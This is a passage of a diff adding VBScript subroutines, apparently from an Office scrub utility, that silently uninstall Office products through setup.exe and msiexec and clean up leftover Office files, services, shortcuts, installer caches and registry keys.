+            If fNoCancel Then sNoCancel="Yes" Else sNoCancel="No"
+            Set TextStream = oFso.OpenTextFile(sScrubDir & "\config.xml",FOR_WRITING,True,True)
+            TextStream.Writeline "<Configuration Product=""" & Sku & """>"
+            TextStream.Writeline "<Display Level=""" & sDisplayLevel & """ CompletionNotice=""No"" SuppressModal=""Yes"" NoCancel=""" & sNoCancel & """ AcceptEula=""Yes"" />"
+            TextStream.Writeline "<Logging Type=""Verbose"" Path=""" & sLogDir & """ Template=""Microsoft Office " & Sku & " Setup(*).txt"" />"
+            TextStream.Writeline "<Setting Id=""MSIRESTARTMANAGERCONTROL"" Value=""Disable"" />"
+            TextStream.Writeline "<Setting Id=""SETUP_REBOOT"" Value=""Never"" />"
+            TextStream.Writeline "</Configuration>"
+            TextStream.Close
+            Set TextStream = Nothing
+
+            'Ensure path to setup.exe is valid to prevent errors
+            sDll = ""
+            If RegReadValue(HKLM,REG_ARP & OREGREF & Sku,"UninstallString",sCatalyst,"REG_SZ") Then
+                If InStr(LCase(sCatalyst),"/dll")>0 Then sDll = Right(sCatalyst,Len(sCatalyst)-InStr(LCase(sCatalyst),"/dll")+2)
+                If InStr(sCatalyst,"/")>0 Then sCatalyst = Left(sCatalyst,InStr(sCatalyst,"/")-1)
+                sCatalyst = Trim(Replace(sCatalyst,Chr(34),""))
+                If NOT oFso.FileExists(sCatalyst) Then
+                    sCatalyst = sCommonProgramFiles & "\" & OREF & "\Office Setup Controller\setup.exe"
+                    If NOT oFso.FileExists(sCatalyst) AND f64 Then
+                        sCatalyst = sCommonProgramFilesX86 & "" & OREF & "\Office Setup Controller\setup.exe"
+                    End If
+                End If
+                If oFso.FileExists(sCatalyst) Then
+                    sUninstallCmd = Chr(34) & sCatalyst & Chr(34) & " /uninstall " & Sku & " /config " & Chr(34) & sScrubDir & "\config.xml" & Chr(34) & sDll
+                    iSetupCnt = iSetupCnt + 1
+                    Log " - Calling Setup.exe to remove " & Sku '& vbCrLf & sUninstallCmd
+                    If Not fDetectOnly Then
+                        On Error Resume Next
+                        ' end other instances of setup
+                        EndCurrentInstalls
+                        ' call uninstall
+                        RetVal = oWShell.Run(sUninstallCmd,0,True) : CheckError "SetupExeRemoval"
+                        Log " - Setup.exe returned: " & SetupRetVal(Retval) & " (" & RetVal & ")" & vbCrLf
+                        fRebootRequired = fRebootRequired OR (RetVal = "3010")
+                        On Error Goto 0
+                    Else
+                        Log " -> Removal suppressed in preview mode."
+                    End If
+                Else
+                    Log " Error: Office setup.exe appears to be missing"
+                End If 'RetVal = 0) AND oFso.FileExists
+            End If 'RegReadValue
+        End If
+    Next 'Sku
+    If iSetupCnt = 0 Then Log " Nothing to remove for setup."
+End Sub 'SetupExeRemoval
+'=======================================================================================================
+
+'Invoke msiexec to remove individual .MSI packages
+Sub MsiexecRemoval
+
+    Dim Product
+    Dim i
+    Dim sCmd, sReturn, sMsiProp
+    Dim fRegWipe
+
+    fRegWipe = False
+
+    Select Case OVERSIONMAJOR
+    Case "11"
+        sMsiProp = " REBOOT=ReallySuppress NOLOCALCACHEROLLBACK=1"
+    Case "12"
+        fRegWipe = True
+        sMsiProp = " REBOOT=ReallySuppress NOREMOVESPAWN=True"
+    Case "14"
+        fRegWipe = True
+        sMsiProp = " REBOOT=ReallySuppress NOREMOVESPAWN=True"
+    Case "15"
+        fRegWipe = True
+        sMsiProp = " REBOOT=ReallySuppress NOREMOVESPAWN=True"
+    Case Else
+    End Select
+
+    'Clear up ARP first to avoid possible custom action dependencies
+    If fRegWipe Then RegWipeARP
+
+    'Check MSI registered products
+    'Office System does only support per machine installation so it's sufficient to use Installer.Products
+    i = 0
+    sMsiProp = " MSIRESTARTMANAGERCONTROL=Disable" & sMsiProp
+    For Each Product in oMsi.Products
+        If CheckDeleteEx(Product) Then
+            i = i + 1
+            Log " Calling msiexec.exe to remove " & Product
+            sCmd = "msiexec.exe /x" & Product & sMsiProp
+            If fQuiet AND NOT fBasic Then
+                sCmd = sCmd & " /q"
+            Else
+                sCmd = sCmd & " /qb-"
+            End If
+            sCmd = sCmd & " /l*v+ "&chr(34)&sLogDir&"\Uninstall_"&Product&".log"&chr(34)
+            If NOT fDetectOnly Then
+                ' end other instances of setup
+                EndCurrentInstalls
+
+                'Execute the uninstall
+                LogOnly " - Calling msiexec with '"&sCmd&"'"
+                sReturn = oWShell.Run(sCmd, 0, True)
+                Log " - msiexec returned: " & SetupRetVal(sReturn) & " (" & sReturn & ")" & vbCrLf
+                fRebootRequired = fRebootRequired OR (sReturn = "3010") OR (sReturn = "1618")
+            Else
+                Log "  -> Removal suppressed in preview mode."
+                LogOnly "  -> Command: "&sCmd
+            End If
+        End If 'InScope
+    Next 'Product
+    If i = 0 Then Log " Nothing to remove for msiexec"
+End Sub 'MsiexecRemoval
+'=======================================================================================================
+
+'Remove the OSE (Office Source Engine) service
+Sub RemoveOSE
+    On Error Resume Next
+    Log vbCrLf & "OSE CleanUp"
+    DeleteService "ose"
+    'Delete the folder
+    DeleteFolder sCommonProgramFiles & "\Microsoft Shared\Source Engine"
+    'Delete the registration
+    RegDeleteKey HKLM,"SYSTEM\CurrentControlSet\Services\ose\"
+End Sub 'RemoveOSE
+'=======================================================================================================
+
+
+'File cleanup operations for the Local Installation Source (MSOCache)
+Sub WipeLIS
+    Const LISROOT = "MSOCache\All Users\"
+    Dim LogicalDisks, Disk, Folder, SubFolder, MseFolder, File, Files
+    Dim arrSubFolders
+    Dim sFolder
+    Dim fRemoveFolder
+
+    Log vbCrLf & "LIS CleanUp"
+    'Search all hard disks
+    Set LogicalDisks = oWmiLocal.ExecQuery("Select * From Win32_LogicalDisk WHERE DriveType=3")
+    For Each Disk in LogicalDisks
+        If oFso.FolderExists(Disk.DeviceID & "\" & LISROOT) Then
+            Set Folder = oFso.GetFolder(Disk.DeviceID & "\" & LISROOT)
+            For Each Subfolder in Folder.Subfolders
+                If Len(Subfolder) > 37 Then
+                    If fRemoveAll Then
+                        If  (Mid(Subfolder.Name,27,PRODLEN) = OFFICEID AND Mid(SubFolder.Name,4,2)=OVERSIONMAJOR) OR _
+                            LCase(Right(Subfolder.Name,7)) = OVERSIONMAJOR &".data" Then DeleteFolder Subfolder.Path
+                    Else
+                        If  (Mid(Subfolder.Name,27,PRODLEN) = OFFICEID AND Mid(SubFolder.Name,4,2)=OVERSIONMAJOR) AND _
+                            CheckDelete(UCase(Left(Subfolder.Name,38))) AND _
+                            UCase(Right(Subfolder,1))= UCase(Left(Disk.DeviceID,1))Then DeleteFolder Subfolder.Path
+                    End If
+                End If 'Len > 37
+            Next 'Subfolder
+            If (Folder.Subfolders.Count = 0) AND (Folder.Files.Count = 0) Then
+                sFolder = Folder.Path
+                Set Folder = Nothing
+                SmartDeleteFolder sFolder
+            End If
+        End If 'oFso.FolderExists
+    Next 'Disk
+
+    'MSECache
+    If EnumFolders(sProgramFiles,arrSubFolders) Then
+        For Each SubFolder in arrSubFolders
+            If UCase(Right(SubFolder,9))="\MSECACHE" Then
+                ReDim arrMseFolders(-1)
+                Set Folder = oFso.GetFolder(SubFolder)
+                GetMseFolderStructure Folder
+                For Each MseFolder in arrMseFolders
+                    If oFso.FolderExists(MseFolder) Then
+                        fRemoveFolder = False
+                        Set Folder = oFso.GetFolder(MseFolder)
+                        Set Files = Folder.Files
+                        For Each File in Files
+                            If (LCase(Right(File.Name,4))=".msi") Then
+                                If CheckDelete(ProductCode(File.Path)) Then
+                                    fRemoveFolder = True
+                                    Exit For
+                                End If 'CheckDelete
+                            End If
+                        Next 'File
+                        Set Files = Nothing
+                        Set Folder = Nothing
+                        If fRemoveFolder Then SmartDeleteFolder MseFolder
+                    End If 'oFso.FolderExists(MseFolder)
+                Next 'MseFolder
+            End If
+        Next 'SubFolder
+    End If 'oFso.FolderExists
+End Sub 'WipeLis
+'=======================================================================================================
+
+'Wipe files and folders as documented in KB 928218
+Sub FileWipeAll
+    Dim sFolder
+    Dim Folder, Subfolder
+
+    If fForce OR fQuiet OR fPassive Then CloseOfficeApps
+
+    'Handle other services.
+    Select Case OVERSIONMAJOR
+    Case "11"
+    Case "12"
+    Case "14"
+        DeleteService "odserv"
+        DeleteService "Microsoft Office Groove Audit Service"
+        DeleteService "Microsoft SharePoint Workspace Audit Service"
+    Case "15"
+    Case Else
+    End Select
+
+    'User specific files
+    If NOT fKeepUser Then
+        'Delete files that should be backed up before deleting them
+        CopyAndDeleteFile sAppdata & "\Microsoft\Templates\Normal.dotm"
+        CopyAndDeleteFile sAppdata & "\Microsoft\Templates\Normalemail.dotm"
+        sFolder = sAppdata & "\microsoft\document building blocks"
+        If oFso.FolderExists(sFolder) Then
+            Set Folder = oFso.GetFolder(sFolder)
+            For Each Subfolder In Folder.Subfolders
+                If oFso.FileExists(Subfolder & "\blocks.dotx") Then CopyAndDeleteFile Subfolder & "\blocks.dotx"
+            Next 'Subfolder
+            Set Folder = Nothing
+        End If 'oFso.FolderExists(sFolder)
+    End If
+
+    'Run the individual filewipe from component detection first
+    FileWipeIndividual
+    If fC2rInstalled AND NOT fForce Then Exit Sub
+
+    'Take care of the rest
+    DeleteFolder sOInstallRoot
+    DeleteFolder sCommonProgramFiles & "\Microsoft Shared\" & OREF
+    DeleteFile sAllUsersProfile & "\Application Data\Microsoft\Office\Data\opa"&OVERSIONMAJOR&".dat"
+    DeleteFile sAllUsersProfile & "\Application Data\Microsoft\Office\Data\opa"&OVERSIONMAJOR&".bak"
+    DeleteFile sAllUsersProfile & "\Microsoft\Office\Data\opa"&OVERSIONMAJOR&".dat"
+    DeleteFile sAllUsersProfile & "\Microsoft\Office\Data\opa"&OVERSIONMAJOR&".bak"
+    If (fRemoveOspp OR fForce) AND CInt(OVERSIONMAJOR) > 12 Then
+        If CInt(OVERSIONMAJOR) = 15 Then CleanOSPP
+        DeleteService "osppsvc"
+        DeleteFolder sCommonProgramFiles & "\Microsoft Shared\OfficeSoftwareProtectionPlatform"
+        DeleteFolder sAllUsersProfile & "\Microsoft\OfficeSoftwareProtectionPlatform"
+    End If
+    Select Case OVERSIONMAJOR
+    Case "12"
+    Case "14"
+        DeleteFile oWShell.SpecialFolders("AllUsersStartup")&"\OfficeSAS.lnk"
+        DeleteFile oWShell.SpecialFolders("Startup")&"\OneNote 2010 Screen Clipper and Launcher.lnk"
+    Case "15"
+    Case Else
+    End Select
+    DeleteEmptyFolder sCommonProgramFiles & "\Microsoft Shared\" & OREF
+    DeleteEmptyFolder sCommonProgramFiles & "\Microsoft Shared\"
+    DeleteEmptyFolder sProgramFiles & "\Microsoft Office\" & OREF
+    DeleteEmptyFolder sProgramFiles & "\Microsoft Office\"
+
+End Sub 'FileWipeAll
+'=======================================================================================================
+
+'Wipe individual files & folders related to SKU's that are no longer installed
+Sub FileWipeIndividual
+    Dim LogicalDisks, Disk,sc
+    Dim File, Files, XmlFile, scFiles, oFile, Folder, SubFolder, Processes, Process, item
+    Dim sFile, sFolder, sPath, sConfigName, sContents, sProductCode, sLocalDrives,sScQuery
+    Dim sValue, sScRoots
+    Dim arrSubfolders, arrShortCutRoots
+    Dim fKeepFolder, fDeleteSC
+    Dim iRet,iCnt,iPos
+
+    Log vbCrLf & "File CleanUp"
+    If IsArray(arrDeleteFiles) Then
+        If fForce OR fQuiet Then
+            Log " Doing Action: StopOSE"
+            iRet = StopService("ose")
+            Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process Where Name like 'ose%.exe'")
+            For Each Process in Processes
+                LogOnly " - Running process : " & Process.Name
+                Log " -> Ending process: " & Process.Name
+                iRet = Process.Terminate()
+            Next 'Process
+            LogOnly " End Action: StopOSE"
+            CloseOfficeApps
+        End If
+        'Wipe individual files detected earlier
+        LogOnly " Removing left behind files"
+        For Each sFile in arrDeleteFiles
+            If oFso.FileExists(sFile) Then DeleteFile sFile
+        Next 'File
+    End If 'IsArray
+
+    'Wipe Catalyst in commonfiles
+    sFolder = sCommonProgramFiles & "\microsoft shared\"&OREF&"\Office Setup Controller\"
+    If EnumFolderNames(sFolder,arrSubFolders) Then
+        For Each SubFolder in arrSubFolders
+            sPath = sFolder & SubFolder
+            If InStr(SubFolder, ".") > 0 Then sConfigName = UCase(Left(SubFolder, InStr(SubFolder, ".") - 1)) Else sConfigName = UCase(Subfolder)
+            If GetFolderPath(sPath) Then
+                Set Folder = oFso.GetFolder(sPath)
+                Set Files = Folder.Files
+                fKeepFolder = False
+                For Each File In Files
+                    If Len(File.Name)>3 Then
+                        If (LCase(Right(File.Name,4))=".xml") Then
+                            If Len(File.Name) >= Len(sConfigName) Then
+                                If (UCase(Left(File.Name,Len(sConfigName)))=sConfigName) Then
+                                    Set XmlFile = oFso.OpenTextFile(File,1)
+                                    sContents = XmlFile.ReadAll
+                                    Set XmlFile = Nothing
+                                    sProductCode = ""
+                                    On Error Resume Next
+                                    sProductCode = Mid(sContents,InStr(sContents,"ProductCode=")+Len("ProductCode=")+1,38)
+                                    On Error Goto 0
+                                    If Len(sProductCode) = 38 Then
+                                        If CheckDelete(sProductCode) Then DeleteFile File.Path Else fKeepFolder = True
+                                    End If
+                                End If 'sConfigName
+                            End If 'Len >=
+                        End If '.xml
+                    End If 'Len(File.Name)>3
+                Next 'File
+                Set Files = Nothing
+                Set Folder = Nothing
+                If Not fKeepFolder Then DeleteFolder sPath
+            End If 'GetFolderPath
+        Next 'SubFolder
+    End If 'EnumFolderNames
+
+    'Wipe Shortcuts
+    If NOT fSkipSD Then
+        On Error Resume Next
+        Log " Searching for shortcuts"
+        CleanShortcuts sAllUsersProfile, True, False
+        CleanShortcuts sProfilesDirectory, True, False
+        On Error Goto 0
+    End If 'NOT SkipSD
+    Err.Clear
+
+End Sub 'FileWipeIndividual
+'=======================================================================================================
+
+'-------------------------------------------------------------------------------
+'   CleanShortcuts
+'
+'   Recursively search all profile folders for Office shortcuts in scope
+'-------------------------------------------------------------------------------
+Sub CleanShortcuts (sFolder, fDelete, fUnPin)
+    Dim oFolder, fld, file, sc, item
+    Dim fDeleteSC
+
+	Set oFolder = oFso.GetFolder(sFolder)
+	' exclude system protected link folders
+    If CBool(oFolder.Attributes AND 1024) Then Exit Sub
+
+    On Error Resume Next
+    For Each fld In oFolder.SubFolders
+        If Err <> 0 Then
+		    CheckError "CleanShortcuts: " & vbTab & sFolder
+        Else
+            CleanShortcuts fld.Path, fDelete, fUnPin
+        End If
+	Next
+    For Each file In oFolder.Files
+		If LCase(Right(file.Path, 4)) = ".lnk" Then
+            fDeleteSC = False
+            LogOnly " check file: " & file.Path
+            set sc = oWShell.CreateShortcut(file.Path)
+            If Err <> 0 Then
+		        CheckError "CleanShortcutsSC: " & vbTab & sFolder
+            Else
+                'Compare if the shortcut target is in the list of executables that will be removed
+                'LogOnly "  - SC.TargetPath: " & sc.TargetPath
+                If Len(sc.TargetPath) > 0 Then
+                    If InStr(sc.TargetPath,"{{") > 0 Then
+                        'Handle Windows Installer shortcuts
+                        If Len(sc.TargetPath) >= InStr(sc.TargetPath,"{{") + 37 Then
+                            If CheckDelete(Mid(sc.TargetPath, InStr(sc.TargetPath,"{{"), 38)) Then fDeleteSC = True
+                        End If
+                    Else
+                        'Handle regular shortcuts
+                        If NOT fBypass_Stage1 Then
+                            ' Compare against results from component scan
+                            For Each item in dicApps.Items
+                                If LCase(sc.TargetPath) = item Then
+                                    LogOnly "  - removing shortcut per match from component detection: " & file.Path
+                                    fDeleteSC = True
+                                    Exit For
+                                End If
+                            Next 'item
+                        Else
+                        End If
+                        If NOT oFso.FileExists(sc.TargetPath) Then
+                            ' Shortcut target does not exist
+                            If InStr (sc.TargetPath, OREF) > 0 Then
+                                LogOnly "  - removing Office shortcut with non-existent target: " & file.Path & " - " & sc.TargetPath
+                                fDeleteSC = True
+                            Else
+                                'LogOnly "  - keep orphaned SC as target is not in scope: " & sc.TargetPath
+                            End If
+                        Else
+                            'LogOnly "  - keep SC as shortcut target does still exist: " & sc.TargetPath
+                        End If
+                    End If
+                End If
+            End If
+            If fDeleteSC Then
+                If Not IsArray(arrDeleteFolders) Then ReDim arrDeleteFolders(0)
+                sFolder = file.Drive & file.Path
+                If Not arrDeleteFolders(UBound(arrDeleteFolders)) = sFolder Then
+                    ReDim Preserve arrDeleteFolders(UBound(arrDeleteFolders) + 1)
+                    arrDeleteFolders(UBound(arrDeleteFolders)) = sFolder
+                End If
+                If fUnPin Then UnPin file
+                If fDelete Then
+                    If fBypass_Stage1 Then UnPin file
+                    DeleteFile file.Path
+                End If
+                fDeleteSC = False
+            End If 'fDeleteSC
+        End If
+	Next
+    On Error Goto 0
+End Sub 'CleanShortcuts
+
+'-------------------------------------------------------------------------------
+'   UnPin
+'
+'   Unpins a shortcut from the taskbar or start menu
+'-------------------------------------------------------------------------------
+Sub UnPin(file)
+    Dim fldItem, verb
+
+    On Error Resume Next
+    Set fldItem = oShellApp.NameSpace(file.ParentFolder.Path).ParseName(file.Name)
+    For Each verb in fldItem.Verbs
+        Select Case Replace(verb, "&", "")
+        Case "Unpin from Taskbar", "Von Taskleiste lösen", "Détacher du barre des tâches", "Détacher de la barre des tâches", "Desanclar de la barra de tareas", "Ta bort från Aktivitetsfältet", "??? ????????(K)", "?? ????? ??(K)", "????????? ?? ?????? ?????"
+            verb.DoIt
+        Case "Unpin from Start Menu", "Vom Startmenü lösen", "Détacher du menu Démarrer", "Détacher de la menu Démarrer"
+            If iVersionNT = 601 Then verb.DoIt
+        End Select
+    Next
+    On Error Goto 0
+End Sub
+
+
+'=======================================================================================================
+
+Sub DelScrubTmp
+
+    On Error Resume Next
+    If oFso.FolderExists(sScrubDir & "\ScrubTmp") Then oFso.DeleteFolder sScrubDir & "\ScrubTmp",True
+
+End Sub 'DelScrubTmp
+'=======================================================================================================
+
+'Ensure there are no unexpected .msi files in the scrub folder
+Sub DeleteMsiScrubCache
+    Dim Folder, File, Files
+
+    Log vbCrLf & "ScrubCache CleanUp"
+    Set Folder = oFso.GetFolder(sScrubDir) : CheckError "DeleteMsiScrubCache"
+    Set Files = Folder.Files
+    For Each File in Files
+        CheckError "DeleteMsiScrubCache"
+        If LCase(Right(File.Name,4))=".msi" Then
+            CheckError "DeleteMsiScrubCache"
+            DeleteFile File.Path : CheckError "DeleteMsiScrubCache"
+        End If
+    Next 'File
+End Sub 'DeleteMsiScrubCache
+'=======================================================================================================
+
+Sub MsiClearOrphanedFiles
+    Const USERSIDEVERYONE = "s-1-1-0"
+    Const MSIINSTALLCONTEXT_ALL = 7
+    Const MSIPATCHSTATE_ALL = 15
+
+    'Error handling inlined
+    On Error Resume Next
+
+    Dim Patch, AllPatches, Product, AllProducts
+    Dim File, Files, Folder
+    Dim sFName, sLocalMsp, sLocalMsi, sPatchList, sMsiList
+
+    Set Folder = oFso.GetFolder(sWinDir & "\Installer")
+    Set Files = Folder.Files
+
+    Log vbCrLf & "Windows Installer cache CleanUp"
+    'Get a complete list of patches
+    Err.Clear
+    Set AllPatches = oMsi.PatchesEx("",USERSIDEVERYONE,MSIINSTALLCONTEXT_ALL,MSIPATCHSTATE_ALL)
+    If Err <> 0 Then
+        CheckError "MsiClearOrphanedFiles (msp)"
+    Else
+        'Fill a comma separated stringlist with all .msp patchfiles
+        For Each Patch in AllPatches
+            sLocalMsp = "" : sLocalMsp = LCase(Patch.Patchproperty("LocalPackage")) : CheckError "MsiClearOrphanedFiles (msp)"
+            sPatchList = sPatchList & sLocalMsp & ","
+        Next 'Patch
+
+        'Delete all non referenced .msp files from %windir%\installer
+        For Each File in Files
+            sFName = "" : sFName = LCase(File.Path)
+            If LCase(Right(sFName,4)) = ".msp" Then
+                If Not InStr(sPatchList,sFName) > 0 Then
+                    'While this is an orphaned file keep the scope of Office only
+                    If InStr(UCase(MspTargets(File.Path)),OFFICEID)>0 Then DeleteFile File.Path
+                End If
+            End If 'LCase(Right(sFName,4))
+        Next 'File
+    End If 'Err=0
+
+    'Get a complete list products
+    Err.Clear
+    Set AllProducts = oMsi.ProductsEx("",USERSIDEVERYONE,MSIINSTALLCONTEXT_ALL)
+    If Err <> 0 Then
+        CheckError "MsiClearOrphanedFiles (msi)"
+    Else
+        'Fill a comma separated stringlist with all .msi files
+        For Each Product in AllProducts
+            sLocalMsi = "" : sLocalMsi = LCase(Product.InstallProperty("LocalPackage")) : CheckError "MsiClearOrphanedFiles (msi)"
+            sMsiList = sMsiList & sLocalMsi & ","
+        Next 'Product
+
+        'Delete all non referenced .msi files from %windir%\installer
+        For Each File in Files
+            sFName = "" : sFName = LCase(File.Path)
+            If LCase(Right(sFName,4)) = ".msi" Then
+                If Not InStr(sMsiList,sFName) > 0 Then
+                    'While this is an orphaned file keep the scope of Office only
+                    If UCase(Right(ProductCode(File.Path),PRODLEN))=OFFICEID Then DeleteFile File.Path
+                End If
+            End If 'LCase(Right(sFName,4)) = ".msi"
+        Next 'File
+    End If 'Err=0
+
+End Sub 'MsiClearOrphanedFiles
+'=======================================================================================================
+
+Sub RegWipe
+    Dim Item, Name, Sku, key
+    Dim hDefKey, sSubKeyName, sCurKey, value, sValue, sGuid
+    Dim fkeep, fSystemComponent0, fPackages, fDisplayVersion
+    Dim arrKeys, arrNames, arrTypes, arrMultiSzValues, arrMultiSzNewValues
+    Dim arrTestNames, arrTestTypes
+    Dim i, iLoopCnt, iPos
+    Dim fDelReg
+
+    Log vbCrLf & "Registry CleanUp"
+    'Wipe registry data
+
+    'User Profile settings
+    Log " - User Policies"
+    RegDeleteKey HKCU,"Software\Policies\Microsoft\Office\" & OVERSION & "\"
+    If NOT fKeepUser Then
+        RegDeleteKey HKCU,"Software\Microsoft\Office\" & OVERSION & "\"
+        Log " - User Settings"
+    End If 'fKeepUser
+
+    'Computer specific settings
+    If (fRemoveAll AND NOT fC2rInstalled) OR (fRemoveAll AND fForce) Then
+        Log " - Machine Settings"
+        RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office\" & OVERSION & "\"
+        If fRemoveOse OR fForce Then
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office Test\"
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\Common\","LastAccessInstall", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\Common\","MID", False
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office\Excel\Addins\Microsoft.PerformancePoint.Planning.Client.Excel\"
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\InfoPath\Converters\Import\InfoPath.DesignerExcelImport\Versions\",OVERSION, False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\InfoPath\Converters\Import\InfoPath.DesignerWordImport\Versions\",OVERSION, False
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office\Outlook\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Export\MEWord12\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Export\Word12\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Export\Word97\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Import\MEWord12\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Import\Word12\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Import\Word97\"
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\","GrooveMonitor", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\","LobiServer", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\","BCSSync", False
+            RegDeleteKey HKLM,"SYSTEM\CurrentControlSet\Services\Outlook\"
+        End If
+        RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\Common\OffDiag\Location\",OVERSIONMAJOR, False
+        RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Office\" & OVERSION & "\"
+        RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\Common\OffDiag\Location\",OVERSIONMAJOR, False
+        RegDeleteKey HKLM,"SOFTWARE\Microsoft\OfficeCustomizeWizard\" & OVERSION & "\"
+        RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\SOFTWARE\Microsoft\OfficeCustomizeWizard\" & OVERSION & "\"
+
+        Select Case OVERSIONMAJOR
+        Case "11"
+            'Jet_Replication
+            sValue = ""
+            If RegReadValue(HKCR,"CLSID\{{CC2C83A6-9BE4-11D0-98E7-00C04FC2CAF5}\InprocServer32","SystemDB",sValue,"REG_SZ") Then
+                If Len(sValue) > Len(sOInstallRoot) Then
+                    If LCase(Left(sValue,Len(sOInstallRoot))) = LCase(sOInstallRoot) Then RegDeleteKey HKCR,"CLSID\{{CC2C83A6-9BE4-11D0-98E7-00C04FC2CAF5}\InprocServer32\"
+                End If
+            End If
+        Case "12"
+        Case "14"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform_Test\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office\Common\ActiveX Compatibility\{{00024512-0000-0000-C000-000000000046}\"
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\OneNote\Adapters\","{{456B0D0E-49DD-4C95-8DB6-175F54DE69A3}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{42042206-2D85-11D3-8CFF-005004838597}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{993BE281-6695-4BA5-8A2A-7AACBFAAB69E}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{0006F045-0000-0000-C000-000000000046}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{C41662BB-1FA0-4CE0-8DC5-9B7F8279FF97}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{7CCA70DB-DE7A-4FB7-9B2B-52E2335A3B5A}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{506F4668-F13E-4AA1-BB04-B43203AB3CC0}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{D66DC78C-4F61-447F-942B-3FB6980118CF}", False
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{{B4F3A835-0E21-4959-BA22-42B3008E02FF}\"
+            'Groove Extensions
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks\","{{B5A7F190-DDA6-4420-B3BA-52453494E6CD}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{99FD978C-D287-4F50-827F-B2C658EDA8E7}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{AB5C5600-7E6E-4B06-9197-9ECEF74D31CC}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{920E6DB1-9907-4370-B3A0-BAFC03D81399}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{16F3DD56-1AF5-4347-846D-7C10C4192619}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{2916C86E-86A6-43FE-8112-43ABE6BF8DCC}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{72853161-30C5-4D22-B7F9-0BBC1D38A37E}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{6C467336-8281-4E60-8204-430CED96822D}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{2A541AE1-5BF6-4665-A8A3-CFA9672E4291}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{B5A7F190-DDA6-4420-B3BA-52453494E6CD}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{A449600E-1DC6-4232-B948-9BD794D62056}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{3D60EDA7-9AB4-4DA8-864C-D9B5F2E7281D}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{387E725D-DC16-4D76-B310-2C93ED4752A0}", False
+            RegDeleteKey HKLM,"SOFTWARE\Classes\*\shellex\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
+            RegDeleteKey HKLM,"SOFTWARE\Classes\AllFilesystemObjects\shellex\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
+            RegDeleteKey HKLM,"SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
+            RegDeleteKey HKLM,"SOFTWARE\Classes\Folder\ShellEx\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
